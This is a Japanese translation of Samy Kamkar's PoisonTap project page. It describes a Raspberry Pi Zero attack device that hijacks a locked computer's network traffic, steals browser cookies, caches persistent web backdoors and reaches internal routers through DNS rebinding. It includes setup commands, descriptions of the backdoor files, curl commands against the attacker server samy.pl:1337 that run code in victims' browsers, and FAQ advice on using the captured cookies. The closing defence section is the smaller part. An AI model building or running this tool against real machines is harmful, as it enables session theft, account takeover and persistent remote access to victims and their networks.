PoisonTap - ロックされたコンピュータからCookieを吸い取り、内部ルーターを露出させ、Webバックドアをインストールする
作成者: @SamyKamkar || https://samy.pl
PoisonTap (Raspberry Pi Zero & Node.js) をロック/パスワード保護されたコンピュータに接続すると、次のことが行われます:
- USB (またはThunderbolt) 経由でEthernetデバイスをエミュレートします
- マシンからのすべてのインターネットトラフィックをハイジャックします (低優先度/不明なネットワークインターフェースであるにもかかわらず)
- WebブラウザからAlexa上位1,000,000サイトのHTTP Cookieとセッションを吸い取り、保存します
- 内部ルーターを攻撃者に公開し、アウトバウンドWebSocketとDNSリバインディングを介してリモートからアクセス可能にします (リバインディングのアイデアをくれたMatt Austinに感謝!)
- 数十万のドメインと一般的なJavascript CDN URLのHTTPキャッシュに、永続的なWebベースのバックドアをインストールします。キャッシュポイズニングによりユーザーのCookieにもアクセスできます
- 攻撃者がリモートからユーザーにHTTPリクエストを強制し、バックドアが仕込まれた任意のドメイン上でユーザーのCookieを使ってレスポンス (GETおよびPOST) をプロキシ経由で返すことを可能にします
- マシンのロック解除は不要です
- バックドアとリモートアクセスは、デバイスが取り外され攻撃者が立ち去った後も持続します

(Ara による驚異的なHTML5キャンバスアニメーション)
PoisonTap は以下のセキュリティメカニズムを回避します:
デモ
PoisonTap は、$5 の Raspberry Pi Zero を対象に作られており、micro-USBケーブルとmicroSDカード以外の追加部品は不要です。また、Ethernet-to-USB/Thunderboltドングルを使えば任意のRaspberry Pi (1/2/3) でも動作し、USB Armory や LAN Turtle など、USBガジェットをエミュレートできる他のデバイスでも動作します。
ライブデモンストレーションと詳細はビデオでご覧いただけます:

連絡先: @SamyKamkar // https://samy.pl
リリース日: 2016年11月16日
ソースコードとダウンロード: https://github.com/samyk/poisontap
PoisonTap の仕組み
PoisonTap は、USB/Thunderbolt、DHCP、DNS、HTTPなど、マシンとネットワークのさまざまなメカニズムに対する既存の信頼を悪用してカスケード効果を生み出し、情報の窃取、ネットワークアクセス、半永続的なバックドアのインストールという雪だるま式の効果をもたらします。

要するに、PoisonTap は次のことを行います:
ネットワークハイジャック
- 攻撃者は、武器化された Raspberry Pi Zero などのPoisonTapをロックされたコンピュータ (パスワード保護されていても) に接続します
- PoisonTap はEthernetデバイス (例: USB/Thunderbolt経由のEthernet) をエミュレートします。既定では、Windows、OS X、LinuxはEthernetデバイスを認識し、低優先度のネットワークデバイスとして自動的にロードしてDHCPリクエストを実行します。マシンがロックされていても、パスワードで保護されていても同様です
- PoisonTap はDHCPリクエストに応答してマシンにIPアドレスを提供しますが、DHCP応答は、小さなサブネット (例: 192.168.0.0 - 192.168.0.255) ではなく、IPv4空間全体 (0.0.0.0 - 255.255.255.255) がPoisonTapのローカルネットワークの一部であることをマシンに伝えるように作られています
- 通常、セカンダリネットワークデバイスがマシンに接続しても、既存の (信頼された) ネットワークデバイスより低い優先度が与えられ、インターネットトラフィックのゲートウェイに取って代わることはないため、無関係でしょう。しかし...
- 「インターネットトラフィック」に対する「LANトラフィック」の優先度により、ルーティングテーブル/ゲートウェイ優先度/ネットワークインターフェースのサービスオーダーに関するあらゆるセキュリティは迂回されます
- PoisonTap は、低優先度のネットワークデバイスでありながら、このネットワークアクセスを悪用します。なぜなら 低優先度ネットワークデバイスのサブネットは、最高優先度ネットワークデバイスのゲートウェイ (デフォルトルート) よりも高い優先度が与えられるからです
- つまり、トラフィックが1.2.3.4宛ての場合、通常はプライマリ (PoisonTap以外) ネットワークデバイスのデフォルトルート/ゲートウェイに到達しますが、PoisonTapの「ローカル」ネットワーク/サブネットには1.2.3.4やその他すべてのIPアドレスが含まれていることになるため、実際にはPoisonTapがトラフィックを取得します ;)
- このため、マシンがより高い優先度と適切なゲートウェイを持つ別のネットワークデバイス (実際のWi-Fi、Ethernetなど) に接続されていても、すべてのインターネットトラフィックはPoisonTap経由になります

Cookieの吸い取り
- Webブラウザがバックグラウンドで動作している限り、開いているページのいずれかがバックグラウンドでHTTPリクエストを実行する可能性が高くなります (たとえば、新しい広告を読み込んだり、アナリティクスプラットフォームにデータを送信したり、単にWebでの動きを追跡し続けたりするため)。AJAXや動的なscript/iframeタグを介して行われます
- これは自分で確認できます。devtools/インスペクタ (通常はCmd+Shift+IまたはCtrl+Shift+I) を開き、訪問頻度の高いWebサイトに移動して [Network] タブをクリックすると、ページ上で何も操作していなくてもリモートリソースへのアクセスが続いているのを確認できます
- このHTTPリクエストが発生すると、すべてのトラフィックがPoisonTapデバイスに流れるため、PoisonTapはDNSをその場で偽装して自身のアドレスを返し、HTTPリクエストがPoisonTap Webサーバー (Node.js) に到達するようにします
- DNSサーバーがPoisonTapが権限を取得できない内部IP (LAN) を指している場合でも、攻撃は機能し続けます。内部DNSサーバーが攻撃対象のさまざまなドメインに対してパブリックIPアドレスを返し、PoisonTapはそのパブリックIPアドレスをすでにハイジャックしているためです
- 内部DNSサーバーが応答すると、WebブラウザはパブリックIPにアクセスし、どちらのシナリオでも最終的にPoisonTap Webサーバー (Node.js) に到達します
- Node Webサーバーがリクエストを受信すると、PoisonTapはHTMLまたはJavascriptとして解釈できるレスポンスを返します。どちらも正しく実行されます (多くのWebサイトはバックグラウンドリクエストでHTMLまたはJSを読み込みます)
- このHTML/JS非依存のページは、多数の隠しiframeを生成します。各iframeは、Alexa上位100万ドメインの異なるドメインにまたがります
- ドメイン上のあらゆる「X-Frame-Options」セキュリティは迂回されます。PoisonTapがHTTPサーバーとなり、クライアントに送信するヘッダーを選択するためです
- サイトへの各iframe HTTPリクエスト (例: http://nfl.com/PoisonTap) が行われると、HTTP CookieがブラウザからPoisonTapにハイジャックされた「パブリックIP」に送信され、PoisonTapはCookie/認証情報をすばやく記録し、ユーザーの数万のCookieをPoisonTapに記録します
- あらゆる「HttpOnly」Cookieセキュリティは迂回され、ドメイン自体ではJavascriptが実行されず、最初にiframeを読み込むためだけに使用されるため、これらのCookieが取得されます
- アクセスされているドメインがブラウザにとって正当に見えるため、クロスオリジンリソース共有や同一オリジンポリシーのセキュリティは迂回されます
- 認証情報ではなくCookieを取得しているため、攻撃者がCookieを使ってログインする際、サイトに実装された2FA/MFAは迂回されます。実際のログイン機能を実行しているのではなく、すでにログイン済みのセッションを継続しているだけであり、2要素認証はトリガーされないためです
- サーバーがHTTPSを使用しているが、CookieがSecure Cookieフラグを明示的に設定していない場合、HTTPS保護は迂回され、CookieはPoisonTapに送信されます

リモートからアクセス可能なWebベースのバックドア
- PoisonTapが何千ものiframeを生成してブラウザにそれらを読み込ませている間、これらのiframeは単なる空白ページではなく、無期限にキャッシュされる HTML+Javascriptバックドアです
- PoisonTapがこれらのバックドアを各ドメインに強制的にキャッシュさせるため、バックドアはそのドメインに結び付けられ、ユーザーが現在ログインしていなくても、攻撃者はそのドメインのCookieを使用し、将来的に同一オリジンリクエストを開始できます
- たとえば、http://nfl.com/PoisonTap iframeが読み込まれると、PoisonTapは迂回されたインターネットトラフィックを受け入れ、Node Webサーバーを介してHTTPリクエストに応答します
- ページを無期限にキャッシュするための追加のHTTPヘッダーが追加されます
- ページの実際のレスポンスは、攻撃者のWebサーバーへの永続的なWebSocketを生成するHTMLとJavascriptの組み合わせです (PoisonTapデバイス上ではなく、インターネット経由)
- WebSocketは開いたままになり、攻撃者は将来いつでもバックドアが仕込まれたマシンに接続し、バックドアが実装されている任意のオリジン (Alexa上位1,000,000サイト -- 下記参照) に対してリクエストを実行できます
- バックドアがあるサイト (例: nfl.com) で開かれているが、ユーザーが別のドメイン (例: pinterest.com) を攻撃したい場合、攻撃者は nfl.com 上で pinterest.com のバックドア (http://pinterest.com/PoisonTap) へのiframeを読み込むことができます
- 繰り返しますが、ドメイン上の「X-Frame-Options」、クロスオリジンリソース共有、同一オリジンポリシーのセキュリティは、リクエストが実際のドメインではなくPoisonTapが残したキャッシュにヒットするため、完全に迂回されます

内部ルーターバックドアとリモートアクセス
- PoisonTapがハイジャックできない唯一のネットワークは、実際のネットワークインターフェースのLANサブネットです (たとえば、ユーザーのWi-Fiサブネットが192.168.0.xの場合、このネットワークは影響を受けません)。しかし...
- PoisonTapは特別なホスト、具体的にはターゲットルーターのIPを ".ip.samy.pl" の前に付けたホスト (例: 192.168.0.1.ip.samy.pl) にバックドアを強制キャッシュし、実質的に永続的なDNSリバインディング攻撃を生み出します
- PoisonTapをDNSサーバーとして使用している場合 (被害者がパブリックDNSサーバーを使用している場合)、PoisonTapは特殊なPoisonTap IP (1.0.0.1) を一時的に返すため、その時点でのリクエストはすべてPoisonTap Webサーバーにヒットします
- 代わりにDNSサーバーが内部ネットワーク (例: 192.168.0.x) に設定されている場合、1.0.0.1**.pin.ip.samy.pl に対して特別に細工された追加リクエストが行われます。これは、公開インターネット上の専用DNSサーバーに対し、任意の [ip.address].ip.samy.pl アドレスに対して「ピン留めされた」アドレス (1.0.0.1) を数秒間一時的に**応答するように指示します
- その後PoisonTapは http://192.168.0.1.ip.samy.pl/PoisonTap にバックドアをすばやく設定します。これは現時点では1.0.0.1のPoisonTapデバイスを指しているため、PoisonTapデバイスからバックドアにアクセスしてキャッシュできます
- DNSピニングとDNSリバインディングのセキュリティは、直前に行われた数十万のリクエストによってDNSピニングテーブルを使い果たすため迂回され、将来リバインディングが発生する必要もないため、この攻撃は長期間にわたって持続します (この攻撃を教えてくれたMatt Austinに感謝!)
- バックドアが http://192.168.0.1.ip.samy.pl/PoisonTap に強制キャッシュされたので、192.168.0.1.ip.samy.pl への将来のリクエストはピン留めされていないIPアドレスにヒットし、代わりに192.168.0.1が解決されてルーターに直接向かいます
- つまり、バックドアを介してリモートから192.168.0.1.ip.samy.pl/PoisonTapホストをiframeで読み込むと、内部ルーター上の他の任意のページに対してAJAX GET/POSTを完全にリモートから実行できるようになり、内部ルーターへのリモートアクセスが可能になります
- これにより、攻撃者がそもそもアクセスできなかったルーターへの他の攻撃につながる可能性があります。たとえば、ルーターのデフォルトの管理者認証情報を使ってDNSサーバーを上書きしたり、他の認証の脆弱性が露出したりする可能性があります
DNSサーバーのまとめ:
- [ip.addy].ip.samy.pl は通常 [ip.addy] で応答します
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
- [ip.addy].pin.ip.samy.pl は一時的に (~5秒間) *.ip.samy.pl を [ip.addy] にポイントさせます
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
- (約5秒後)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
追加のリモートからアクセス可能なWebベースのバックドア
- さらに、PoisonTapは、GoogleやjQuery CDNなど、数千の一般的なCDNベースのJavascriptファイルを、正しいコードと、感染したCDNベースのJavascriptファイルを読み込む任意のドメインへの攻撃者アクセスを提供するバックドアに置き換えます
- 各ドメインにバックドアが残されるため、攻撃者はリモートからバックドアが仕込まれたブラウザに、事実上すべての主要ドメインに対して同一オリジンリクエスト (AJAX GET/POST) を強制できます。被害者が現在そのドメインへのウィンドウを開いていない場合でも同様です
- 被害者がサイトを訪問すると、バックドアは、これらの感染したHTTPベースのCDN Javascriptフレームワークのいずれかを使用する追加のサイトにも存在するようになります

PoisonTap への防御
サーバー側のセキュリティ
Webサーバーを運用している場合、PoisonTapへの防御は簡単です:
- HTTPSのみを使用します。少なくとも認証と認証済みコンテンツには使用します
- 正直なところ、HTTPSのみを使用し、HTTPコンテンツを常にHTTPSにリダイレクトして、ユーザーがHTTP経由で認証情報やその他の個人情報を提供するように騙されるのを防ぐべきです
- CookieでSecureフラグが有効になっていることを確認し、HTTPS CookieがHTTP経由で漏洩するのを防ぎます
- リモートのJavascriptリソースを使用する場合は、Subresource Integrity のscriptタグ属性を使用します
- HSTS を使用してHTTPSダウングレード攻撃を防ぎます
デスクトップのセキュリティ
- USBポートとThunderboltポートにセメントを追加するのは効果的です
- マシンから離れるたびにブラウザを閉じるのも効果的ですが、完全に非現実的です
- USB/Thunderboltポートを無効にすることも効果的ですが、これも非現実的です
- コンピュータをロックしても効果はありません。マシンがロックされている間もネットワークとUSBスタックは動作するためです。ただし、メモリの復号にキーが必要な暗号化スリープモード (例: FileVault2 + ディープスリープ) に移行すれば、ブラウザがリクエストを行わなくなるため、起動後でも問題のほとんどが解決されます
ダウンロード
ソースコード: https://github.com/samyk/poisontap
インストール / ファイル構成
注: デバイスが自動的にEthernetコントローラーとして動作しない場合 (たとえば古いバージョンのWindows)、pi_startup.sh のVIDとPIDを変更 できます```bash
sudo bash
If Raspbian BEFORE 2016-05-10, then run next line:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
/etc/dhcp/dhcpd.conf に dhcpd.conf を配置し、残りのファイルを /home/pi/poisontap に配置してから再起動し、すべてが動作することを確認してください。
リポジトリには<a href="https://github.com/samyk/poisontap" target=_blank>リポジトリ内のファイル</a>が複数あり、それぞれ異なる側で使用されます。リストは次のとおりです:
* **backdoor.html** - クッキーを外部に持ち出すために http://hostname/PoisonTap の URL にアクセスがあったとき、強制キャッシュされたコンテンツとして返されるのがこのファイルです。このファイルには、samy.pl:1337(任意のホスト/ポートに変更可能)への送信 WebSocket を生成するバックドアが含まれており、サーバーからのコマンドを待ち続けます。つまり、サイト上で http://hostname/PoisonTap などの iframe を読み込むと、このコンテンツが展開されます(PoisonTap がマシンから削除された後も同様です)。
* **backend_server.js** - これは、インターネットに公開されたサーバー上で実行する Node.js サーバーです。backdoor.html が接続する先(例: samy.pl:1337)です。これは、PoisonTapped されたミニオンマシンにコマンドを送信するためにあなたが接続するサーバーでもあります。例```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js - これはRaspberry Pi Zero上でNode.jsを介して実行され、PoisonTapによって傍受されたHTTPリクエストを処理し、吸い出したクッキーを保存し、キャッシュされたバックドアを注入する役割を担うHTTPサーバーです。
- pi_startup.sh - これはRaspberry Pi Zeroの起動時に実行され、デバイスがEthernet-over-USBガジェットをエミュレートするように設定し、悪意のあるDHCPサーバーをセットアップし、トラフィックの再ルーティングとDNSスプーフィングを可能にし、上記のpi_poisontap.jsを起動します。
- target_backdoor.js - このファイルはCDN関連のJavaScriptファイルの先頭に付加され、それによってそれらのファイルにバックドアを仕込みます(例:Google CDNのjQuery URL)。
- target_injected_xhtmljs.html - これは被害者のマシン上の意図しない/バックグラウンドのHTTP/AJAXリクエストに注入され、攻撃全体を開始するコードです。HTMLとしてもJavaScriptとしても解釈でき、それでも同じコードを実行できるように構築されています。さらに、素晴らしいHTML5 Canvasは、信じられないほど素晴らしいAra oen CodePenによるもので、あまりにも素晴らしいので含めないわけにはいきませんでした。これは、ページがPoisonTapに乗っ取られたときに表示されるグラフィカルな狂騒です。
- poisontap.cookies.log - このファイルは、ユーザーのマシンがPoisonTapにHTTPリクエストを送信し始めると生成され、ブラウザからのクッキーと、それが属する関連URL/ドメインをログに記録します。
よくある質問
- Q: バックドアを仕込むドメインをさらに追加するにはどうすればよいですか?
- A: バックドアを仕込むドメインのリストは、
target_injected_xhtmljs.html内のgetDoms()関数によって設定されます。このリスト自体は、リポジトリのルートにあるalexa1m.shスクリプトによって生成されます。このリストに追加のドメインを追加したい場合は、getDoms()内のreturn呼び出しを修正するだけです。
- Q: キャプチャしたクッキーはどのように使用しますか?
- A: ブラウザのJavaScriptコンソールからDocument.cookie APIを直接使用して、クッキーを設定できます。このStackOverflowの投稿には、Chrome固有の提案もいくつかあります(例:Cookie Inspector Chrome拡張機能)。
- Q: マシンからPoisontapを除去するにはどうすればよいですか?
- A: OSのローカルDNSキャッシュと、すべてのブラウザキャッシュをクリアする必要があります。また、当時ログインしていたセッションはクッキーを漏洩させた可能性があるため、それらのセッションを無効化する必要があるかもしれません。これらの処理が、単にログアウトするだけでなく、既存のクッキーを無効化することを確認してください。(現在のマシンでPoisonTapデバイスを安全に扱いたい場合は、必ずすべてのブラウザを終了してください。そうすれば、そのデバイスをマシンに安全に接続できるはずです)。
連絡先
連絡先窓口: @SamyKamkar
私の他のプロジェクトを見たり、https://samy.plで私に連絡することができます。